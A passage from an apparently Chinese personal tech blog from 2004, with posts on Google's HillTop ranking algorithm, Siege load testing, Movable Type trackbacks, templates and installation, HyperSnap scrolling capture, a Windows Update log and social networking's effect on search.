理由9-會讓你更健康並不是抽空去打球、上健身房、跳韻律操才叫使身體健康，人的身體也需要其他的方式來維持活力。比方說，好整以暇的喝杯茶、慢慢的品味一個甜美多汁的水蜜桃、靜靜擁抱你喜愛的人等等。而這些都不是每週工作五、六十個小時的人所能做的。

理由10-讓你更懂得去愛你是不是很久沒有和三、五好友一起說笑狂歡了？你是不是每天都和另一半、和孩子或父母匆匆打個照面？你是不是難得和所愛的人交換生活的心情？五點一到，放下你的工作，多接近那些對你很重要的人。以後他們記得的不是你的升遷、你的成就、而是和他們共處的時光。

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

匿名 · 2004-02-18 17:33

支持

walkingdead · 2004-02-19 14:01

第十条理由应该摆在第一，哈！

匿名 · 2004-03-01 17:04

可惜我的老板不能看到这篇文章….

bash99 · 2004-03-02 23:35

Google基于HillTop算法的更新

Fri, 13 Feb 2004 20:44:52 +0800

从吴泽欣的留言，看到一篇关于Google基于HillTop算法的更新的中文翻译：Bharat：Google的工程师，他在2001年获得了HillTop算法的专利，并且授权给了Google。在与PR算法相比之下，Google意识到这个算法的进步会为他们的搜索排名带来非常重要的功能。Google的HillTop算法现在已经能更好的与旧的算法(PR算法)联合起来工作。根据观察HillTop算法比起它在2000年刚设计的时候已经有了很大的进步。显然这也是2003年11月16日“佛罗里达”更新中影响的一个最主要的算法。

非常感谢吴泽欣，和Google基于HillTop算法的原文相比，还是有些出入，重新整理如下：有一些补充和修正建议还是阅读Bharat写的关于HillTop算法论文(多伦多大学计算机系)

HillTop算法为何物及其工作原理

如果PR对于你来说是一个全新的概念，建议阅读有关Google的PageRank算法的文章。在最基本的搜索结果排序中，Google的PageRank算法决定了一个网站的重要程度及最后的排名。根据这个原则，一个拥有100个链接的网站比一个只有10个链接的网站排名要高。在很多情况下这个因素都很重要。

而HillTop算法的指导思想和PageRank是一致的，即都通过反相链接的数量和质量来确定搜索结果的排序权重。但HillTop认为只计算来自具有相同主题的相关文档链接对于搜索者的价值会更大：即主题相关网页之间的链接对于权重计算的贡献比主题不相关的链接价值要更高。在1999与2000年，当这个算法被Bharat与其他Google开发人员开发出来的时候，他们称这种对主题有影响的文档为“专家”文档，而只有从这些专家文档页面到目标文档的链接决定了被链接网页“权重得分”的主要部分。

与PageRank结合HillTop算法确定网页与搜索关键词的匹配程度的基本排序过程取代了过份依靠PageRank的值去寻找那些权威页面的方法。这对于两个具有同样主题而且PR相近的网页排序过程中：HillTop算法就显得非常的重要了。

Google最早利用HillTop算法去定义相关网站：一个网站与另一个网站的相关性，实际上，HillTop算法在Google也中作为一个识别跨站点的链接交换干扰(spam)与识别相似链接的技术。HillTop算法要求：如果有两个以上相关主题的网站链接到你的网站，那么你的网站在搜索结果中出现的机会会更大，如果HillTop算法不查找到最少两个相关性的网站，那么搜索返回的结果的机会绝对是0。

Google应用新算法背后的原因

在1998年Google刚刚开始的时候，PR在决定适当程度与重要性方面起到了一个非常完美的作用。尽管如此，PR算法在设计上还是存在了一些脆弱性与限制性。Google在很早以前也就知道了。

HillTop算法实际上是拒绝了部分通过随意交换链接的方法来扰乱Google的排名规则而得到较好排名的做法，而在HillTop的论文中也提到很多关于识别“网站链接交换联盟”的设计：如根据IPv4地址的头3段，根据域名的别名推测：example.com = example.com.cn；

PR值对于搜索关键词的匹配度作用不大：因为在很多包含相应关键词的非相关主题的网站具有很高的PR值。这就是Google在HillTop算法中尽量避免的东西：应该尽其所能去列出与搜索关键词相关的结果。

总得看来，从过去到今天，很多搜索引擎停止了那种只使用一种有价值的算法去决定排名的做法。如：meta keyword标签等。这只是一个开始，Google在第一步已经完全忽略html header中的meta标签了。与不可见的meta标签相比，一个网站的可视部分使用干扰技术较在meta使用的要少，因为可视部分毕竟还要面对大部分的实际的访问者。

专家文档的动态智能识别

基于“专家”文档的HillTop算法最大的难点是第一次“专家文档”的筛选，从目前的观察来看：Google显然首先给了教育(.edu)，政府(.gov)和非盈利组织(.org)站点很高的优先级。在运行时：Google会在庞大的内存里储存搜索频率比较高的关键词的索引，以备搜索者在短期内继续用同样的关键字短语等进行搜索。这些高频关键词还有另外一种作用，在“佛罗里达”更新之前很多人已经注意到的了：含有那些突增的搜索关键字的网站会得到较快的更新频率。如关于：“SARS”，每天的搜索次数数以百万计：Google就会优先对与这个主题有关的网站进行更新。

回头看一下以前每个月的“Google Dance”，也能得出以下的结论：Google也明显地为一个关键词给予一个随机的“权重”，动态的根据关键词查询统计发现这些热门关键词，然后基于HillTop算法面向主题地找到这些含有热门关键词的网页，让这些网页作为相应关键词的“专家”文档，针对这些索引入口保持比较高的更新频率：这点显然对于应对突发事件非常有效。而那些含有查询频率比较低的关键词所对应的网页可能要1月才更新一次。简单的说就是：Google会根据主题的热门程度动态调整相应网站的索引的强度。而Google中文用户在总体用户中的比例与Google索引的中文网页在索引的总体网页中的比例，从某种程度上说，也是有一定关系的。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

gissky · 2004-03-01 20:33

收获很大，谢谢！

itebooks · 2004-03-25 20:44

谢谢。有启发。

http://www.itebooks.net 提供大量免费计算机电子书籍下载。

Siege：压力模拟/测试工具

Fri, 13 Feb 2004 20:42:39 +0800

最早使用的压力测试工具是apache的ab(apache benchmark)，apache ab做重复压力测试不错，但是每次只能测试一个链接，如何测试一组链接（比如从日志中导出的1个小时的日志，做真实压力测试），后来找到了这个： Siege是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。

SIEGE is an http regressive testing and benchmarking utility. It was designed to let web developers measure the performance of their code under duress, to see how it will stand up to load on the internet. It lets the user hit a webserver with a configurable number of concurrent simulated users. Those users place the webserver “under siege.” The duration of the siege is measured in transactions, the sum of simulated users and the number of times each simulated user repeats the process of hitting the server. Thus 20 concurrent users 50 times is 1000 transactions, the length of the test.

最新研究：用户搜索变得越来越复杂（就是搜索时候使用的关键词越来越多啦）

Tue, 10 Feb 2004 11:07:12 +0800

用户的搜索越来越复杂：25.61%用户用3个关键词， 32.58%使用2个关键词，19.02使用1个关键词。 [Searches Get More Complex](http://www.webmasterworld.com/forum78/3808.htm) New study shows, " Of all the search phrases world wide, 32.58 percent of the people use 2 word phrases, 25.61 percent use 3 word phrases and 19.02 percent use a 1 word phrase."

[via [WebmasterWorld](http://www.webmasterworld.com/)]
很明显这是应该基于西方语言的统计，中文用户目前搜索引擎使用水平至少比英文用户落后1年以上。
Google每天处理的1.5亿次查询中，中文（包括简体和繁体）占6%（1200万）。总总量上看，假设：Google占中国网民总体使用量的30%，占美国网民总体使用量的70%计算：中国用户使用搜索引擎的频率是美国的1/4左右。用户搜索引擎使用频率的上升反映出使用水平的提升：网民上网的目的越来越明确，已经逐渐从“冲浪”转变到“快速信息定位”，网民搜索引擎的使用水平间接反映一个国家的教育和学习能力：几年前的一个统计显示，英语国家互联网用户平均使用2.1个关键词，非英语国家用户为1.6个关键词，说明英语国家用户比非英语国家用户的使用水平领先一年半左右。而"搜索的关键词越多，搜索的结果越精确"已经成为大多数用户的一种常识。由于亚洲语言天然的分词问题，中文全文检索技术的应用普及程度先天就会落后于西欧语言，为了提高国民这方面的素质，我觉得将搜索引擎（信息检索）使用尽快纳入到中小学的教育中都是是非常必要的。中国应该努力转变成为整个互联网中知识的生产者而非甘当消费者。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hilton · 2004-02-11 11:51

不是统计数据是不是来自google? 　　不知对CJK检索如何统计词数？

isaac · 2004-02-11 11:54

一般也会用“中国政治民主”这样的分隔，估计没有做中文的词法进行分析

阿宽 · 2004-02-12 12:12

MovableType的Trackback ping机制：失败的尝试

Thu, 05 Feb 2004 22:21:22 +0800

在后台进行对被引用文章提交Trackback ping是： One or more errors occurred when sending update or TrackBack pings.

看了看MT的活动日志： 2004.02.04 13:28:42 219.142.136.146 Ping ‘http://udoo.51.net/cgi-bin/mt/mt-tb.cgi/33' failed: HTTP error: 500 Can’t connect to udoo.51.net:80 (Permission denied)

原来虚拟主机服务商不允许通过后台程序对其他服务器发送请求，所以我无法通过Trackback ping机制告诉文章的出处作者：我引用了你的文章，但我能通过HTTP接口收到别人给我的通知。

什么是Trackback ping呢？

我对trackback ping的理解：可以简单的把trackback ping理解是一种带有反相链接来源统计的文章计数器。但这个计数器，是需要引用者向被引用者主动提交的。比如我引用了： http://udoo.51.net/mt/archives/000035.html 在他的TRACKBACK界面里显示他后台的引用计数器就是： http://udoo.51.net/cgi-bin/mt/mt-tb.cgi/33

然后我在发表文章的时候，我的内容提交给本地服务器存储的同时，系统后台应用会发出一个HTTP请求给被引用文章的服务器的那个地址：按照以下格式 mt-tb.cgi?tb_id=ID&title=标题&url=网址引用通告格式的中文说明我给UDOO的通知就是： http://udoo.51.net/cgi-bin/mt/mt-tb.cgi?tb_id=ID&title=车东的MT安装笔记&url=http://www.chedong.com/blog/archives/000001.html

告诉他：我的http://www.chedong.com/blog/archives/000001.html “车东的MT安装笔记"引用了他ID为33的文章。

这个请求其实通过HTTP GET也就是你自己在地址栏里敲也是可以的。但是由于GET方式对参数字符个数有限制（<255），所以那些DESCRIPTION就无法传递过去了。

然后他的文章引用库里就有了类似的记录，你可以通过这个界面看到所有对这篇文章的引用：内容类似如下：

0

MOVABLE TYPE安装指南
http://udoo.51.net/mt/archives/000035.html 应车东之邀，补写部分MOVABLE TYPE安装的howto。具体内容见下... en-us - MovableType中文化顺利完成 http://shanghaimorning.com/lijie/archives/000018.html
主要参考了山南水北–udoo的MOVABLE TYPE安装指南另外还有 QinYu的有关【Hack-MT】增加文字编辑区的功能按钮的介绍替换的文件包如下： 1. lang-zh-cn.tar //按钮图片 2. zh_cn.pm　　　//GB的版本的核心PM 3. MT.CFG //修改二处,NoHTMLEntities 1删除前面的#; PublishC…

用HyperSnap实现滚屏抓取多屏网页

Thu, 05 Feb 2004 20:02:37 +0800

你完全不必耐心的看完所有内容，这里想说明的无非是以下2点：

滚屏内容抓取：在HyperSnap的Active Window（ctrl+shift+w）抓取模式下只要启用自动滚屏(Auto Scroll)选项，在抓取的时候当前屏幕就会PageDown的一页一页往下翻，一直翻到底后就将多屏幕网页内容抓取成了一个图片。

~~存成GIF格式：GIF是文件最小而又能比较好还原原有效果的图片格式。~~存成PNG格式：PNG是仅次于GIF格式最小而又能比较好还原原有效果的图片格式。

上次看到Google的新版本抓图，就一直在想他是怎么把需要滚这么多屏的网页抓成一个图的？

在网上找了2个多小时，后来无意中发现（正如楼下所说，是在搜索的时候，看到文章发现SnagIt有类似功能，联想到常用的Hypersnap……）其实多屏抓取是我最熟悉的HyperSnap（我用的是3.x Basic，才500多K，如果需要PNG等更多格式的支持需要3.x Pro版本，大约1.1M）本身就能实现的一个基本功能：注意到了吗：Google那个图是连外面的窗体也包括的，但是HyperSnap的这个滚屏能只抓取某个内容框内那一帧的内容。

在HyperSnap包含一个自动滚屏模式选项：在菜单的Capture==> auto scroll windows选项被启用后，只要在~~Active~~ Window抓取模式（快捷方式是：ctrl+shift+w）下选定抓取窗口后时候按下左键（此时鼠标已经有了一个向下箭头），当前屏幕就会自动PageDown地一页一页往下翻，一直翻到底后多屏幕网页内容就被抓取成了一个图片。

关于Auto Scroll的帮助原文： Auto Scroll Window (Capture)

This unique option gives you the ability to scroll down during a Capture|Window session, to capture data beyond what is immediately visible in a window with a vertical scroll bar. Auto Scroll always starts from the top and moves downward. The following step-by-step instructions may help you understand how it works:

MT的模板修改和界面皮肤设置

Thu, 05 Feb 2004 11:20:04 +0800

分类索引：首页缺省有按月归档的索引，没有分类目录的索引，看了手册里面也没有具体的参数定义，只好直接看SOURCE：尝试着把Monthly改成Category，居然成了 :-) 还到了Movable Style的MT样式站，它本身也是用MT做的，但是右面有个皮肤样式切换下拉框，所有样式都可以在线浏览，选好了下载，替换自己网站得site-style.css即可。

"><$MTArchiveTitle$>

尝试着把其中的：Monthly改成Category，居然成了 :-)

按分类归档

"><$MTArchiveTitle$> (<$MTArchiveCount$>)

MT模板的参数参考

样式表：很快感觉缺省样式表太简陋了我找到了Movable Style的 Rusty样式，那个站点上还有很多样式，比如：Slashdot like

CSS样式表功能真的很强大：原来MT表面上看上去左边是索引和日历，右面是文章列表，其实代码中靠前面的是文章列表，后面才是索引和链接等，非常非常Google Friendly，突出内容，而面向用户又非常User Friendly。

再次感谢Hilton的提示：将INDEX模板中加入排序规则后，变成了按最后修改时间排序。

2005-01-17 看到别人的blog RSS中的内容也是图文并茂的，后来从文心那里了解到今天我将RSS1.0和RSS2.0模板中文章摘要部分由MTEntryExcerpt改成了MTEntryBody。

这样在Lilana或者其他RSS阅读器中看到的就是文章的HTML原文，而不是头20个单词的文字摘要了。

据说新版本中的MT，缺省也是MTEntryBody。

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hilton · 2004-02-03 13:34

MT随机带的帮助文档里，有对MT标签的讲解，对修改模板可能会有所帮助。台湾的jedi把已经它们译成中文。

udoo · 2004-02-05 23:56

hedong其实已经写了，没仔细看吧。其实blog的内容组织还是有些无序，有没有好办法

Che Dong · 2004-02-06 07:51

Wiki还是相对有序的一些，因为本身就进行了很好的规划，而且还有版本控制，比较适合小组协同写作，算是一种比较轻量级的“群件”吧。另外，我的BLOG习惯是：保持总体尽量少的文章篇数（ENTRY < 150），而不是把BLOG当作流水帐。然后不断对旧文章不断更新，争取每篇文章都是面向某个主题的长期历史跟踪而且评论也会比较集中。可惜MT只有文章的发表时间一个字段，没有最后修改时间字段，我觉得还是按照最后修改排序比较好（类似于论坛设计的回帖置顶）。

当年Jack Xu跟我们讲搜索引擎目录系统设计的时候：要求每个目录下的条目不能超过30条条目，差不多也就是用户1－2屏的浏览范围。前2天从Isaac那里看到的150定律，我觉得不仅是人，任何事务超过150的时都会使得“搜索”功能变成一种必需…想象一下你的手机电话簿上的联系人个数…

Hilton · 2004-02-08 19:15

MT里，与一个entry有关的时间有两个，一个写作时间，一个是最后修改时间。　　如果要按照修改时间排序，似乎可以这样： sort_by=“modified_on” lastn="….." sort_order="…."

MT安装笔记：初始化和安全配置

Wed, 04 Feb 2004 03:50:57 +0800

参考了UDOO的51.net上的MT安装备忘，略有改动。

网站发布系统在设计上最重要的就是良好引用(well referenced)，良好组织(well organized)，良好导航(with easy navigation)，此外MT的良好的web化管理部署的确非常精致。

终于无法忍受ChinaDNS的服务，除了不稳定外：反相代理不能即时更新页面，MT安装不上，没有MYSQL数据库支持。

但是：虎翼网是禁用phpinfo()的。以至于安装phpMyAdmin的时候都不得不改了几处，其实sourceforge上都是允许使用phpinfo()的。

MT的安装： MT的目录规划和分布

MT是一个多用户/多内容库（Blog）的发布和管理系统：所有文章库内容和用户权限都通过一个后台管理系统集中管理并存放在数据库中，网站的发布过程是从数据库中提取内容然后根据模板导出成静态文件。

文件/目录规划

后台管理：程序 example.com/cgi-bin/mt/mt.cgi + 公共文档（帮助/图片等） example.com/share/ / | \ 物理文件：/path/to/blog1/ /path/to/blog1/archives/ /path/to/blog2/ | | | 发布目录：example.com/blog1/ example.com/blog1/archives/ blog2.example.com/

用户管理：用户和文章库之间是一个多对多的关系， blog1 (user1 user2 user3) blog2 (user1 user3 user4) blog3 (user4 user5)

一个文章库（Blog）可以有多个用户管理，按照权限，分别有管理模板，管理属性，上传文件等权限。

所有的文章库后台管理入口： MT是一个基于PERL的CGI应用，而管理系统的部署分为2个部分：cgi应用程序和静态文档，这2个路径是需要在全局配置文件mt.cfg文件中预先配置好的 CGI管理程序：实际文件系统路径就是：/home/apache/cgi-bin/mt/mt.cgi 对外的管理入口：www.example.com/cgi-bin/mt/mt.cgi 因此需要在mt.cfg中配置：CGIPath http://www.example.com/cgi-bin/mt/

静态共享文档：公用的HTML静态文档，包括管理界面用的style.css，图片images目录, 帮助文档docs目录和需要使用的mt.js。一般系统的cgi-bin目录下是专门放置可执行应用的，而不允许放置静态文件，所以一定要把以上这些目录发布到可以进行HTML浏览的目录下。实际文件系统路径就是：/home/apache/cgi-bin/htdocs/share/ 下放置 styles.css docs/ images/ ... 发布路径：www.example.com/share/ 下放置 styles.css docs/ images/ ... 因此需要在mt.cfg中配置：StaticWebPath /share/

具体安装发布过程

1 主站点： MovableType.org下载完整版：Full version with libaries 并解包然后安装台湾MTBOOK.NET的汉化包，解包后覆盖原来目录

我机器上的Microsoft Data Access Components 安全更新不正常

Tue, 03 Feb 2004 11:32:40 +0800

最近半个月总是不断自动更新Microsoft Data Access Components 这个包，安装完了过一天又下载：以下是安装日志成功 2004年2月3日 KB832894 ：安全更新程序自动更新成功 2004年2月2日 Microsoft Data Access Components 安全更新程序 (KB832483) 自动更新成功 2004年2月1日 Microsoft Data Access Components 安全更新程序 (KB832483) Web 站点成功 2004年2月1日 Microsoft Data Access Components 安全更新程序 (KB832483) 自动更新

成功 2004年7月16日 Windows XP 安全更新程序 (KB839645) Web 站点成功 2004年7月16日 Windows XP 安全更新程序 (KB841873) Web 站点成功 2004年7月16日用于后台智能传送服务 (BITS) 2.0 和 WinHTTP 5.1 的更新程序 (KB842773) Web 站点成功 2004年7月16日用于 Outlook Express 6 SP1 的累积安全更新程序 (KB823353) Web 站点成功 2004年7月15日 Windows XP 安全更新程序 (KB839645) 自动更新成功 2004年7月15日 Windows XP 安全更新程序 (KB841873) 自动更新成功 2004年7月15日 Windows XP 安全更新程序 (KB840315) 自动更新成功 2004年7月15日用于后台智能传送服务 (BITS) 2.0 和 WinHTTP 5.1 的更新程序 (KB842773) 自动更新成功 2004年7月15日用于 Outlook Express 6 SP1 的累积安全更新程序 (KB823353) 自动更新成功 2004年7月3日 Critical Update for ADODB.stream (KB870669) 自动更新成功 2004年6月13日 Microsoft Windows XP 安全更新程序 (KB810217) 自动更新成功 2004年6月9日 DirectX 9.0 安全更新程序 (KB839643) 自动更新成功 2004年5月12日 Windows XP 安全更新程序 (KB840374) 自动更新成功 2004年5月4日 Windows Media Player 9 系列 (Windows XP) Web 站点成功 2004年5月2日 Windows Media 9 系列编解码器安装程序包更多信息… (可能是英文站点。) Web 站点成功 2004年5月2日 327979：建议采用的更新程序 Web 站点成功 2004年5月2日 322011：建议采用的更新程序更多信息… (可能是英文站点。) Web 站点成功 2004年5月2日 814995：建议采用的更新程序 Web 站点成功 2004年5月2日 Windows XP SP1 的建议采用的更新程序 (817778) Web 站点成功 2004年5月2日 820291: 建议采用的更新程序 (Windows XP) Web 站点成功 2004年5月2日 Windows 错误报告：建议采用的更新程序 (Windows XP) Web 站点成功 2004年5月2日 Windows XP SP1 的建议采用的更新程序 (KB822603) Web 站点成功 2004年5月2日 Microsoft Windows XP 更新程序 (KB826942) Web 站点成功 2004年5月2日 Windows XP 更新程序：“联机购买音乐”链接 (KB833998) Web 站点成功 2004年5月2日 Windows Media Player 9 系列更新程序 (KB837272) Web 站点成功 2004年5月2日 Microsoft Windows XP 更新程序集 (KB826939) Web 站点成功 2004年5月2日 Internet Explorer 6 Service Pack 1 关键更新程序 (KB831167) Web 站点成功 2004年5月2日 810577：安全更新程序自动更新成功 2004年5月2日 810833：安全更新程序 (Windows XP) 自动更新成功 2004年5月2日 810565：关键更新程序自动更新成功 2004年5月2日 329170：安全更新程序自动更新成功 2004年5月2日 811630：关键更新程序 (Windows XP) 自动更新成功 2004年5月2日 Q329115：安全更新程序 (Windows XP) 自动更新成功 2004年5月2日 Q329390：安全更新程序自动更新成功 2004年5月2日 Q329048：安全更新程序自动更新成功 2004年5月2日 Q323255：安全更新程序自动更新成功 2004年5月2日 Windows XP 安全更新程序 (329834) 自动更新成功 2004年5月2日 814033：关键更新程序自动更新成功 2004年5月2日 814078：安全更新程序（Microsoft Jscript 版本 5.6、Windows 2000、Windows XP) 自动更新成功 2004年5月2日 Q329441：关键更新程序自动更新成功 2004年5月2日 Windows XP 安全更新程序 (815021) 自动更新成功 2004年5月2日 816093：Microsoft 虚拟机 (Microsoft VM) 安全更新程序自动更新成功 2004年5月2日 Q817287：关键更新程序（Microsoft Windows XP 中的目录数据库损坏）自动更新成功 2004年5月2日 811493：安全更新程序 (Windows XP) 自动更新成功 2004年5月2日 817787：安全更新程序 (Windows Media Player for XP) 自动更新成功 2004年5月2日 817606：安全更新程序 (Windows XP) 自动更新成功 2004年5月2日 823559：Microsoft Windows 的安全更新程序自动更新成功 2004年5月2日 821557：安全更新程序 (Windows XP) 自动更新成功 2004年5月2日 Microsoft Windows 安全更新程序 (KB824141) 自动更新成功 2004年5月2日 Microsoft Windows 安全更新程序 (KB823182) 自动更新成功 2004年5月2日 Microsoft Windows 安全更新程序 (KB824105) 自动更新成功 2004年5月2日 Windows Media Player 脚本命令关键更新程序 (KB828026) 自动更新成功 2004年5月2日 Microsoft Windows XP 安全更新程序 (KB825119) 自动更新成功 2004年5月2日 Microsoft Windows XP 安全更新程序 (KB828035) 自动更新成功 2004年5月2日 Microsoft Data Access Components 安全更新程序 (KB832483) 自动更新成功 2004年5月2日 Windows XP 安全更新程序 (KB835732) 自动更新成功 2004年5月2日 Windows XP 安全更新程序 (KB828741) 自动更新成功 2004年5月2日 Windows XP 安全更新程序 (KB837001) 自动更新成功 2004年5月2日 KB832894 ：安全更新程序自动更新成功 2004年5月2日 Outlook Express 6 Service Pack 1 累积安全更新程序 (KB837009) 自动更新成功 2004年4月14日 Windows XP 安全更新程序 (KB835732) 自动更新成功 2004年4月14日 Windows XP 安全更新程序 (KB828741) 自动更新成功 2004年4月14日 Windows XP 安全更新程序 (KB837001) 自动更新成功 2004年4月14日 Q831167：关键更新程序自动更新成功 2004年4月14日 Outlook Express 6 Service Pack 1 累积安全更新程序 (KB837009) 自动更新成功 2004年4月6日 Windows XP 更新程序：“联机购买音乐”链接 (KB833998) Web 站点成功 2004年3月18日 Windows Messenger 4.7 Web 站点成功 2004年2月19日 HP printer software update released on August 12 2002. Web 站点成功 2004年2月15日 Microsoft .NET Framework 版本 1.1 简体中文语言包更多信息… (可能是英文站点。) Web 站点成功 2004年2月15日 Q327405：建议采用的更新程序 (Windows XP Home Edition) 更多信息… (可能是英文站点。) Web 站点成功 2004年2月15日 Microsoft Windows 日记查看器 (Windows XP) 更多信息… (可能是英文站点。) Web 站点成功 2004年2月15日 814995：建议采用的更新程序 Web 站点成功 2004年2月15日 Microsoft .NET Framework 版本 1.1，简体中文版更多信息… (可能是英文站点。) Web 站点成功 2004年2月15日 Windows XP SP1 的建议采用的更新程序 (817778) Web 站点成功 2004年2月15日 Jet 4.0 Service Pack 8 更新程序 (KB829558) Web 站点失败 2004年2月15日 Q327405：建议采用的更新程序 (Windows XP Home Edition) 更多信息… (可能是英文站点。) Web 站点失败 2004年2月15日 814995：建议采用的更新程序 Web 站点失败 2004年2月15日 Windows XP SP1 的建议采用的更新程序 (817778) Web 站点失败 2004年2月15日 Jet 4.0 Service Pack 8 更新程序 (KB829558) Web 站点成功 2004年2月15日 322011：建议采用的更新程序更多信息… (可能是英文站点。) Web 站点成功 2004年2月15日 820291: 建议采用的更新程序 (Windows XP) Web 站点成功 2004年2月15日 Windows 错误报告：建议采用的更新程序 (Windows XP) Web 站点成功 2004年2月15日 Microsoft Windows XP 更新程序 (KB826942) Web 站点成功 2004年2月15日用于“CD 写入向导”中的 Windows XP HighMAT 支持的更新程序 (KB831240) Web 站点失败 2004年2月14日 Windows 错误报告：建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日用于“CD 写入向导”中的 Windows XP HighMAT 支持的更新程序 (KB831240) Web 站点失败 2004年2月14日 Windows Messenger 4.7 Web 站点失败 2004年2月14日 Q327405：建议采用的更新程序 (Windows XP Home Edition) 更多信息… (可能是英文站点。) Web 站点失败 2004年2月14日 322011：建议采用的更新程序更多信息… (可能是英文站点。) Web 站点失败 2004年2月14日 814995：建议采用的更新程序 Web 站点失败 2004年2月14日 Windows XP SP1 的建议采用的更新程序 (817778) Web 站点失败 2004年2月14日 820291: 建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日 Windows 错误报告：建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日 Jet 4.0 Service Pack 8 更新程序 (KB829558) Web 站点失败 2004年2月14日 Microsoft Windows XP 更新程序 (KB826942) Web 站点失败 2004年2月14日用于“CD 写入向导”中的 Windows XP HighMAT 支持的更新程序 (KB831240) Web 站点失败 2004年2月14日 Windows Messenger 4.7 Web 站点失败 2004年2月14日 Q327405：建议采用的更新程序 (Windows XP Home Edition) 更多信息… (可能是英文站点。) Web 站点失败 2004年2月14日 322011：建议采用的更新程序更多信息… (可能是英文站点。) Web 站点失败 2004年2月14日 814995：建议采用的更新程序 Web 站点失败 2004年2月14日 Windows XP SP1 的建议采用的更新程序 (817778) Web 站点失败 2004年2月14日 820291: 建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日 Windows 错误报告：建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日 Jet 4.0 Service Pack 8 更新程序 (KB829558) Web 站点失败 2004年2月14日 Microsoft Windows XP 更新程序 (KB826942) Web 站点失败 2004年2月14日用于“CD 写入向导”中的 Windows XP HighMAT 支持的更新程序 (KB831240) Web 站点失败 2004年2月14日 Windows Messenger 4.7 Web 站点失败 2004年2月14日 Q327405：建议采用的更新程序 (Windows XP Home Edition) 更多信息… (可能是英文站点。) Web 站点失败 2004年2月14日 322011：建议采用的更新程序更多信息… (可能是英文站点。) Web 站点失败 2004年2月14日 814995：建议采用的更新程序 Web 站点失败 2004年2月14日 Windows XP SP1 的建议采用的更新程序 (817778) Web 站点失败 2004年2月14日 820291: 建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日 Windows 错误报告：建议采用的更新程序 (Windows XP) Web 站点失败 2004年2月14日 Jet 4.0 Service Pack 8 更新程序 (KB829558) Web 站点失败 2004年2月14日 Microsoft Windows XP 更新程序 (KB826942) Web 站点失败 2004年2月14日用于“CD 写入向导”中的 Windows XP HighMAT 支持的更新程序 (KB831240) Web 站点失败 2004年2月14日 Windows Media Player 中存在的缺陷可能会导致攻击者获得对媒体库的访问权限 (819639) Web 站点失败 2004年2月14日 Windows XP 安全更新程序 (KB824146) Web 站点失败 2004年2月14日 Microsoft Windows 安全更新程序 (KB824141) Web 站点失败 2004年2月14日 Microsoft Windows 安全更新程序 (KB823182) Web 站点失败 2004年2月14日 Microsoft Windows 安全更新程序 (KB824105) Web 站点失败 2004年2月14日 Microsoft Windows XP 更新程序集 (KB826939) Web 站点失败 2004年2月14日 Windows Media Player 脚本命令关键更新程序 (KB828026) Web 站点失败 2004年2月14日 Microsoft Windows XP 安全更新程序 (KB825119) Web 站点失败 2004年2月14日 Microsoft Windows XP 安全更新程序 (KB828035) Web 站点失败 2004年2月14日 Windows XP 安全更新程序 (KB828028) Web 站点失败 2004年2月14日 Microsoft Data Access Components 安全更新程序 (KB832483) Web 站点失败 2004年2月14日 330994：Outlook Express 6 SP1 安全更新程序，2003 年 4 月 Web 站点失败 2004年2月14日 KB832894 ：安全更新程序 Web 站点

社交网络服务(social networking service) 对搜索引擎发展的影响

Tue, 03 Feb 2004 01:59:06 +0800

Blog/Wiki的传播发展与搜索引擎发展是平行的 BLOG/WIKI都是面向个人和小团体的内容发布/协作写作系统，由于这些系统的设计都非常非常的Google friendly(比如permalink, trackback ping等)，而他们之间大量的引用和链接联系反映到Google基于反相连接权重计算的PageRank算法中：很多个人网站的内容在搜索结果中获得了比很多商业门户网站更靠前的位置。

想象一下这样一个由BLOG/WIKI构成的互联网地图：顺便说一句，我第一次得知Blog这个概念是通过搜索"Google bomb"

RSS是BLOG(以及各种CMS)之间的胶水 作为一种轻量级的标题内容同步/交换XML协议，RSS(Really Simple Syndication) 目前已经非常流行，通过RSS订阅，感觉可以向以前用邮件新闻组一样进行新闻“订阅”，并通过。而且以下是我最近刚开始用的 Newz Crawler的一个截图：

订阅用户可以根据自己的需要：订阅自己高度关注的一些主题，如页内的一些朋友，一些行业/专业网站等；

对浏览的主题还可以直接利用blogger.com(已被google收购)进行评论发布；

自己的内容再被他人间接引用，从而实现了一个相对开放的知识体系；

这个使用相当于在进行知识过滤和知识的再生产。通过BLOG的trackback ping机制，被引用着可以知道谁引用了你的文章，引用者发表的评论也可以直接通知给被引用者，而WIKI更是以一种轻量级的群件系统出现的：大家可以一起写一个百科全书。正是由于BLOG/WIKI系统反映了使用者之间或强或弱的社会联系，所以又被称之为Social Software。他们之间就形成了一个Social Network——个人感觉“社交网络”应该是比较贴切的翻译。

“Search Filtered By Friends”–SNS对搜索引擎发展的影响 最近有大量相关社交网络服务(social networking service)的报道：看到消息Amazon也将发布自己的 Social Network Service 美国最大的招聘网 Monster.com, 刚刚发布了自己的招聘用的SNS 最新报道说中国已经有8家SNS服务，全球有100 家以上SNS开张！ Google员工静悄悄的发布的orkut.com: CNET有完整报道: 请注意http://orkut.com/左下角的"in affiliation with Google"，因为Google的关系，它的一举一动都变得如此醒目

而且已经有将社会网络运用到优化搜索引擎的实践：Eurekster发布个性化搜索

来自SearchEngineWatch的Danny Sullivan完整报道: 个人感觉Eurekster的搜索结果还不错：他们的后台引擎是AllTheWeb (被Yahoo!收购的Fast搜索引擎)。而他们所做的只不过是根据用户所属之social network的选择对原结果进行了排序调整。再联想到百度的贴吧：贴吧不就是你“朋友”的搜索评论吗……

仔细看过以上这些相关文章至少让我明白了这么一点：搜索引擎服务的个性化并非个人化，而是按照物以类聚，人以群分的原理：考虑你所属的特征人群，参考你的朋友/同行的选择，基于SNS(social networking service)这种方式的服务的确是另外一种对原有PageRank排序又一次很好的精炼过程。

